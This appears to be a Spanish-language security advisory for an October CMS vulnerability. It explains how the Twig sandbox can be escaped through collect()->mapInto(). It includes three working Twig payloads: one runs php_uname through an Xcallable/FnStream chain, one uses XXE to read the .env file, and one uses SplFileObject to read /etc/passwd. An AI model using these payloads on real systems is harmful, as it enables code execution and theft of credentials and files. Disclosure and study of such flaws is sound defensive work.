
CVE-2026-22692 - Bypass crítico del Sandbox de Twig mediante collect()->mapInto() que permite RCE/LFI/XXE en October CMS
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-22692 |
| Gravedad | Moderada (CVSS:3.1 4.9) |
| Aviso | GHSA-m5qg-jc75-4jp6 |
| Producto afectado | October CMS (<= 4.1.4, <= 3.7.12) |
| Tipo de vulnerabilidad | Omisión del sandbox de Twig -> RCE, LFI, XXE |
| Descubierto por | Lukasz Rybak |
Existe una vulnerabilidad crítica en el sandbox de Twig de October CMS (Modo seguro) que permite a usuarios autenticados con privilegios de edición de plantillas omitir las restricciones de seguridad y ejecutar código PHP arbitrario (RCE) o leer archivos arbitrarios (XXE/LFI) del servidor.
La causa raíz se encuentra en October\Rain\Support\SafeCollection. Esta clase implementa la interfaz CallsAnyMethod, que le indica a System\Twig\SecurityPolicy que omita la lista blanca de métodos estándar para el propio objeto de la colección.
Si bien SafeCollection intenta filtrar los argumentos para evitar la ejecución directa de callables, no bloquea el método mapInto($class). El método mapInto itera sobre la colección e instancia el nombre de clase proporcionado:
new $class($value, $key);
Esto permite a un atacante instanciar cualquier clase conocida por la aplicación.
La clase System\Twig\SecurityPolicy incluye explícitamente en la lista blanca el método __toString() en todos los objetos. Al instanciar Psy\Readline\Hoa\Xcallable (que envuelve un callable) y envolverlo dentro de un GuzzleHttp\Psr7\FnStream (que llama a una función definida por el usuario en su método __toString mediante la propiedad _fn___toString), un atacante puede desencadenar la ejecución de funciones PHP arbitrarias que no requieren argumentos (por ejemplo, php_uname, phpinfo) simplemente imprimiendo el objeto en Twig.
La clase SimpleXMLElement acepta un indicador de opción de libxml como segundo argumento de su constructor. mapInto() pasa la clave de la colección como segundo argumento al constructor. Al crear una colección con una clave de 2 (que corresponde a LIBXML_NOENT), un atacante puede habilitar la sustitución de entidades externas en SimpleXMLElement, lo que conduce a un XXE inmediato y a la capacidad de leer archivos del sistema.
Existe una vulnerabilidad de Inclusión Local de Archivos (LFI) más directa que utiliza la clase nativa de PHP SplFileObject. Al instanciar SplFileObject con una ruta de archivo y un modo de lectura (pasados mediante mapInto), un atacante obtiene un objeto de archivo iterable. Pasar este objeto al helper collect() desencadena una iteración inmediata (mediante iterator_to_array dentro del núcleo del framework), lo que omite la política de bloqueo de métodos del Sandbox. Esto permite leer cualquier archivo al que el servidor web tenga acceso, sin requerir soporte XML ni bibliotecas de terceros específicas.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd mediante SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
Ejecución Remota de Código (RCE), Inclusión Local de Archivos (LFI), Inyección de Entidades Externas XML (XXE).
/etc/passwd, la configuración de la base de datos, .env, etc.) mediante múltiples vectores (SimpleXMLElement o SplFileObject).Esto afecta a cualquier instalación de October CMS donde usuarios no confiables o semiconfiables tengan acceso al editor de plantillas del CMS, lo que efectivamente les permite escalar privilegios al nivel de Administrador del Sistema / Root.
Este CVE fue divulgado de manera responsable siguiendo las prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada tiene fines exclusivamente educativos y defensivos.